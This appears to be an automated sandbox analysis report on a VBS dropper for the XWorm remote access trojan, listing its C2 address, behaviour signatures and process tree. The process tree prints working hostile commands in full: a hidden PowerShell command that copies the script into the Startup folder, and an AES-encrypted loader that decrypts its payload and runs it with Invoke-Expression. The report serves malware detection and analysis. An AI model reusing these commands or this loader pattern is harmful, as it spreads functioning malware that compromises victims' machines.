Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/06/2026, 06:10

General

  • Target
    TPURIN01260601401.vbs
  • Size 1.5MB
  • Sample260623-gw5fwaay91
  • SHA256 879dd84317070383446e37d5fd07a1c4d30b493a4a4bf9a6d15de20e77ddec30
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 203.202.232.132:2828

Mutex
  • ulQxhAv1bSCnb98W

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPURIN01260601401.vbs' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:392
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $indignly = [System.Text.Encoding]::UTF8.GetBytes('VKvXmZ6TZ9m4a9dU'); if ($indignly.Length -lt 32) { $indignly = $indignly + (0..(31 - $indignly.Length)) }; $childbed = [Convert]::FromBase64String('QWAjaJHB0selLPHlNllJweLLut3hYm00pqsfjDKIjBVlEr228zEPJ5mK2DOO/bowpWKAt2M/jqiq9THcZb+OvuYiojLCCceIu9A0uGr2OT/DKOHKnHwMF4bmUEfdcxTv1g1RPPPP0nmlg8/fsob1nnV5n24KAxO0HM71UTE4Uzcx4+zfCNE9Nx+01s76siPqhIzZIbHn+0h4Om4oq78pVYT10QUZPyhJrlEdBGd2efpVIWkEjxgwTLmiq3DLb3Igy9Qcb916rVb1F/qGETItuaxUj1THKc/+Fp3rwuU1YRX9wu7tUSDojyUCFI3BTGiO6yOhZfJ17DP6WZpBDVPg/Df4ZPk3qCGalErAgxphHfTuLJYsVf+UIbDN+upgJfp3UCaziZY9ZlJA+hjRkkSISbp6eH8OomwfMcOcE44NsJVFbxsKB4YJ/OlPn2bXPDLKpCWVhmuy9UoE9ZaJ0R1kEZ9k1f8wHFCN985Q6ybnZYlF9Yv5mItmGplET4jtAAxvGvgpMetaVwnsdgQyrApCPDI4XQunVBgo0vScc+yOgexrfSfjZFqQc/UwUODWEuLwulFc1BA7bSYoDYUTJLIj05OJtR/PI/nlUZJhY8LzMo3Dr8lRJJBtYTebmJsb1GHIigpcms8q5juVD06klzbHM5bG2jvZdvMwbe7rx1kP0mF9L2E/k8taB5IZ7JxNDM/o6anmN30j02aRHVJBrlZCLpDlezG1ly7h6+QlKsmFrwJsu2LLf3/WVQb2MG35vXxGvCGWT+d/XdsdQXQqHhMIBgvjkZdNHqWfbzMkBn4S8W9TQd44Xh0VGdNgaJc9PLsvIsZ8NyLTAK2x8oiCjMw7LEFfbl+hBkVDx9S1MNHyt2HhQnnJLtCiuNZ6gEqC6MEt99VJu0ZggUM4uhVxrd5WVfzgwuzTZy6x5NhKs7A957tY40z8tEiswwvIa+jNhdzdmbLbyY54C5cn/L85Fw2XFYIodAbxI2RM45kB8s3ej8mQcl7sLET1128X0LVxrfQ+b+tvXILk/sLHGgi7jop30dsUn4AK4hBg3DVAYB5fMWyGkh/rCm4Nw0aUgtgNECUhp/5qAkY2r6Brhh0q7ZcUNcDZbI9Wv6D1jLCDxooWZ236YYoY2J+Ax/mz9PrtdfaVCgwW51EstVBN/qIFNcp/2NXrOGOZXfK8lEd0ljttUVThlunEeTeKI5hl374pNKS/VO1opVMxIRy3JunLRyrPsOmvmrje2UzXrxVcQ5Q+7kQBeVg7YoIAawsA7Jzel1mumYqAEAysOldpgxBGblq6LVkU1M8cY+ROXHn6X3e4sjiJhiV5Y6Mc21fmJhoJrWvXBdEx5mFngEyGszqPZbodjBpz2B1RuQ7v24iq24aiIH+u8zN5zXoW4wr9psqBNrQNA58qS/OVuuSrTAn76mOfhXLB4V/1NMETBHVoKD100+qgRt1ZdDRLwGIN/4rzPdapSQoipDjJEuL/ieVjbkj//uqwFozXF3DC8rCMU77Nlb7tM3/7P+oU7cKaLb6F2V1QUe3xevuELr+0msUrgqAhwtqz7Y6fiXWEBubKGIS2kX1UH51H+cLBgFjdh+i8x/hQ8HW/tQX4KhV3dYe2iA7JGxNizs3vvGBzWstmmY5g3IZTIHOX1plTkTGWZEqGJVWgEBfu6qDxkiLAAjEK6AfwFrDbIC6xtBdDQ5XTjBew4tk='); $tarped = $childbed[0..15]; $ambigenous = $childbed[16..($childbed.Length-1)]; $bitterwood = [System.Security.Cryptography.Aes]::Create(); $bitterwood.Key = $indignly; $bitterwood.IV = $tarped; $hassidic = $bitterwood.CreateDecryptor(); $fissipeda = $hassidic.TransformFinalBlock($ambigenous, 0, $ambigenous.Length); $seizling = [System.Text.Encoding]::UTF8.GetString($fissipeda); Invoke-Expression $seizling; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2612

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5879cd29749413ea480d76aa33e54042b4178892105adcc7524e5a10b61ab5b1
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_gnqkxoxw.ax2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnqkxoxw.ax2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/392-0-0x000002AFDE2A0000-0x000002AFDE2B0000-memory.dmp

        memory/392-7-0x000002AFC5BB0000-0x000002AFC5BD2000-memory.dmp

        memory/392-1-0x000002AFDE2A0000-0x000002AFDE2B0000-memory.dmp

        memory/1988-20-0x000002982F4E0000-0x000002982F602000-memory.dmp

        memory/1988-21-0x0000029814EB0000-0x0000029814EBA000-memory.dmp

        memory/2612-22-0x0000000000400000-0x000000000040E000-memory.dmp

        memory/2612-26-0x00000000056D0000-0x000000000576C000-memory.dmp

        memory/2612-27-0x0000000005D90000-0x0000000005DF6000-memory.dmp

        memory/2612-28-0x0000000006850000-0x00000000068E2000-memory.dmp

        memory/2612-29-0x0000000006EA0000-0x0000000007444000-memory.dmp